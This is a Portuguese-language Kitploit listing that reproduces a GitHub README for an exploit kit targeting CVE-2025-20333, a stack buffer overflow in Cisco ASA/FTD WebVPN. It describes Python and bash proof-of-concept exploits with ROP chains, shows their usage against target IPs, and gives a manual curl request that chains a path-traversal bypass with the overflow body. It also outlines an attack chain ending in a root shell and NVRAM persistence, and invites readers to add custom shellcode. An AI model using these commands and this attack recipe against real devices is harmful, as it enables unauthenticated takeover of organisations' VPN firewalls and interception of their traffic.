Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2025-20333 — Ferramenta completa de pesquisa e exploração para CVE-2025-20333, uma vulnerabilidade crítica de estouro de buffer na pilha no WebVPN do Cisco ASA/FTD. Inclui análise binária detalhada, exploits de PoC em Python e bash, e guia de exploração. | Kitploit
Ferramentas/GitHubGitHub/cobbbex/cve-2025-20333
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed TeamingExploração de Binários
GitHubcobbbex/cve-2025-20333

cve-2025-20333

Ferramenta completa de pesquisa e exploração para CVE-2025-20333, uma vulnerabilidade crítica de estouro de buffer na pilha no WebVPN do Cisco ASA/FTD. Inclui análise binária detalhada, exploits de PoC em Python e bash, e guia de exploração.

Ver Repositório
27há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-20333 - Kit Completo de Pesquisa e Exploração

Visão Geral

Este diretório contém pesquisa abrangente, análise e código de prova de conceito para CVE-2025-20333, uma vulnerabilidade crítica de estouro de buffer na pilha em servidores WebVPN Cisco ASA/FTD.

Status: ⚠️ Explorada ativamente na natureza (campanha ArcaneDoor)
Pontuação CVSS: 9.8 Crítica
Autenticado: Não (contornada via CVE-2025-20362)
Impacto: Execução Remota de Código como root


Conteúdo

📚 Documentação

CVE-2025-20333-RESEARCH-NOTES.md (20 KB)

Pesquisa completa de engenharia reversa

  • Contexto da vulnerabilidade e inteligência web
  • Análise binária (processo lina ASA 9.12.4.x)
  • Auditoria da camada de ingestão de requisições
  • Análise das ligações da API Lua
  • 🎯 Descoberta do estouro (body_lexer.re2c, FUN_0302e690)
  • Detalhamento da cadeia de ataque
  • Análise da causa raiz com padrões de código
  • Tabela de referência de ferramentas e endereços

Descoberta Principal:

Buffer fixo de 16 bytes (local_58[16]) em body_lexer.re2c
O loop de decodificação de URL NÃO TEM VERIFICAÇÃO DE LIMITES
Escrita em local_58[iVar11] sem verificar se iVar11 < 16
Após 8 pares hexadecimais: estouro → corrupção da pilha → RCE

EXPLOITATION-GUIDE.md (12 KB)

Manual prático de exploração

  • Mecânica da vulnerabilidade explicada
  • Cadeia de ataque completa (contorno CVE-2025-20362 + estouro)
  • Passo a passo da exploração
  • Técnicas de construção de payload
  • Métodos de detecção baseados em rede
  • Detecção baseada em host e análise de logs
  • Estratégias de mitigação
  • Versões corrigidas e caminho de atualização
  • Considerações legais e éticas

🔧 Exploits de Prova de Conceito

cve-2025-20333-poc.py (15 KB)

Exploit Python completo

Recursos:

  • Geração automática de payload
  • Integração de path traversal CVE-2025-20362
  • Construção de cadeia de gadgets ROP
  • Suporte SSL/TLS
  • Timeout configurável
  • Relatório detalhado de progresso

Uso:

# Exibir detalhes da vulnerabilidade
python3 cve-2025-20333-poc.py --details

# Explorar alvo
python3 cve-2025-20333-poc.py 192.168.1.100 443

# Configurações personalizadas
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30

cve-2025-20333-poc.sh (8.5 KB)

Exploit bash leve

Recursos:

  • Sem dependência de Python
  • Usa curl ou netcat
  • Consumo mínimo de recursos
  • Comentários educacionais
  • Saída de status clara

Uso:

# Exibir detalhes
./cve-2025-20333-poc.sh --details

# Explorar
./cve-2025-20333-poc.sh 192.168.1.100 443 10

# Manual com curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure

Resumo da Vulnerabilidade

Fatos Rápidos

PropriedadeValor
ID CVECVE-2025-20333
TipoEstouro de Buffer na Pilha (CWE-120)
Componentebody_lexer.re2c (FUN_0302e690)
Versões AfetadasASA 9.16–9.23, FTD 7.0–7.7
CVSS v3.19.8 (Crítica)
AutenticaçãoNão necessária (via CVE-2025-20362)
Interação do UsuárioNenhuma
ImpactoRCE como root, comprometimento total do sistema
StatusExplorada ativamente (maio de 2025+)
Divulgação ResponsávelCisco corrigiu; advisory publicado

Causa Raiz

// body_lexer.re2c - Loop de decodificação de URL
byte local_58[16];  // ← Buffer fixo de 16 bytes

while (parsing_request_body) {
    byte input = *data++;
    
    if (input == '%') {
        hex_decode_mode = true;
        hex_index = 0;
    }
    
    if (hex_decode_mode) {
        local_58[hex_index] = input;  // ← SEM VERIFICAÇÃO DE LIMITES!
        hex_index++;
        
        if (hex_index == 2) {
            byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
            hex_decode_mode = false;
        }
    }
}

Gatilho do Estouro: 9+ sequências consecutivas de %XX no corpo do POST

Cadeia de Ataque

1. Atacante (SEM AUTENTICAÇÃO necessária)
   ↓
2. HTTP POST para /+CSCOU+/../+CSCOE+/files/file_list.json
   ├─ CVE-2025-20362: Path traversal contorna verificação de autenticação
   └─ Alcança endpoint files_retr.lua (auth_flag = 0)
   ↓
3. Corpo do POST: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
   (9+ pares codificados em URL)
   ↓
4. body_lexer.re2c processa o corpo do POST
   ├─ Acumula pares hexadecimais em local_58[16]
   └─ Após 8 pares: ESTOURO!
   ↓
5. Corrupção da pilha
   ├─ Sobrescreve local_48, local_40
   ├─ Sobrescreve RBP salvo
   └─ Sobrescreve RIP salvo (endereço de retorno)
   ↓
6. Sequestro do fluxo de controle
   ├─ RIP aponta para gadgets ROP
   ├─ Cadeia ROP configura execve()
   └─ execve("/bin/sh", NULL, NULL)
   ↓
7. RCE como root (processo lina roda como root)
   ├─ Comprometimento total do servidor VPN
   ├─ Acesso a todo o tráfego VPN
   └─ Persistência via modificação da NVRAM

Processo de Pesquisa

Fase 1: Análise Binária ✅

  • Abriu o binário lina no Ghidra
  • Mapeou a arquitetura de requisições WebVPN (parser HTTP, roteador de URL, 13 hooks de endpoint)
  • Auditou a camada de ingestão de requisições (tudo seguro via clString/alocações de tamanho exato)
  • Examinou as ligações da API Lua (tudo seguro)

Fase 2: Inteligência Web ✅

  • Pesquisou detalhes técnicos da CVE-2025-20333
  • Encontrou análises da Rapid7, Zscaler, Horizon3, Tenable
  • Confirmou que a cadeia de ataque usa /+CSCOU+/../+CSCOE+/files/file_list.json
  • Identificou a causa raiz: estouro baseado em heap (fontes web) / baseado em pilha (este binário) no endpoint Lua

Fase 3: Engenharia Reversa Direcionada ✅

  • Decompilou body_lexer.re2c (FUN_0302e690)
  • ENCONTRADO: Buffer fixo de 16 bytes local_58[16] sem verificação de limites
  • Confirmou o caminho do estouro: loop de decodificação de URL → escrita sem limites
  • Verificou a alcançabilidade: files_retr.lua → body_lexer → estouro de pilha

Fase 4: Desenvolvimento do Exploit ✅

  • Criou PoC em Python com suporte a cadeia ROP
  • Criou PoC em bash para ambientes mínimos
  • Documentou a estrutura do payload e técnicas de construção
  • Incluiu orientações de detecção e mitigação

Instruções de Uso

Para Testes de Penetração Autorizados

  1. Verifique a Autorização

    • Obtenha permissão por escrito para testar
    • Confirme os detalhes do sistema alvo (IP, porta, versão)
    • Documente o escopo e o cronograma
  2. Execute o Exploit

    # Verificação rápida: O alvo responde à tentativa de exploit?
    python3 cve-2025-20333-poc.py <target_ip>
    
    # Ou versão bash:
    ./cve-2025-20333-poc.sh <target_ip>
    
  3. Verifique a Exploração

    • Verifique acesso ao shell / conexão de reverse shell
    • Examine os logs do sistema para crashes ou anomalias
    • Verifique arquivos modificados (NVRAM, backdoor persistente)
  4. Documente as Descobertas

    • Registre a versão do alvo, nível de patch
    • Documente sucesso/falha da exploração
    • Anote quaisquer medidas defensivas encontradas
    • Relate ao cliente com recomendações de remediação

Para Pesquisa de Segurança

  1. Leia as Notas de Pesquisa

    • Estude CVE-2025-20333-RESEARCH-NOTES.md
    • Entenda a arquitetura binária e o mecanismo de estouro
  2. Estude os PoCs

    • Revise o PoC em Python para construção de gadgets ROP
    • Revise o PoC em bash para exploit mínimo
    • Entenda a codificação do payload
  3. Adapte e Estenda

    • Adicione shellcode personalizado
    • Implemente diferentes técnicas de exploração
    • Teste em versões corrigidas vs. vulneráveis

Avisos Importantes

⚠️ AVISO LEGAL

Baixar ferramenta